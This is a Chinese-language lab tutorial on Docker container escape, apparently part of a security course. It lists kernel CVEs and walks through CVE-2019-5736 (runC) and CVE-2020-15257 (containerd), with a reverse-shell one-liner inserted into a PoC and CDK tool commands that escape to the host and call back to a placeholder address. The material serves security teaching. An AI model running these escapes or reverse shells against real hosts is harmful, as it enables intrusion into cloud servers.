Day96:云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

目录

云原生-Docker安全-容器逃逸&系统内核漏洞

云原生-Docker安全-容器逃逸&docker版本漏洞

[CVE-2019-5736 runC容器逃逸(需要管理员配合触发)](#CVE-2019-5736 runC容器逃逸(需要管理员配合触发))

[CVE-2020-15257 containerd逃逸(启动容器时有前提参数)](#CVE-2020-15257 containerd逃逸(启动容器时有前提参数))

云原生-Docker安全-容器逃逸&CDK自动化


知识点:
1、云原生-Docker安全-容器逃逸&内核漏洞

2、云原生-Docker安全-容器逃逸&版本漏洞

3、云原生-Docker安全-容器逃逸&CDK自动化

云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

1、安装docker对应版本

apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

2、启动靶场环境测试

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
docker cp main 7f4793f3ac0cd13:/
chmod 777 main

执行main文件 ./main

真实系统管理员重新进入该容器触发反弹shell

docker exec -it 7f4793f3ac0cd13 /bin/bash

4、实验获取云服务器上docker搭建的Web权限后进行逃逸

docker run -it -p 8888:8080 vulhub/struts2:s2-053

该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3
containerd < 1.3.9

1、安装docker对应版本

apt-get update

apt-get install ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

2、启动环境测试:

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

3、上传CDK工具自动逃逸反弹

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

4、实验获取到docker搭建的Web权限后进行逃逸

云原生-Docker安全-容器逃逸&CDK自动化

项目地址:https://github.com/cdk-team/CDK

不支持系统内核漏洞

演示-特权模式

也可以指定漏洞利用

相关推荐
Hacker_LaoYi1 小时前
网络安全与加密
安全·web安全
黑客Ash12 小时前
【D01】网络安全概论
网络·安全·web安全·php
.Ayang14 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang14 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
网络安全-老纪14 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
Mr.Pascal15 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
dot.Net安全矩阵16 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
Hacker_Oldv17 小时前
网络安全的学习路线
学习·安全·web安全
黑客Ash17 小时前
计算机中的网络安全
网络·安全·web安全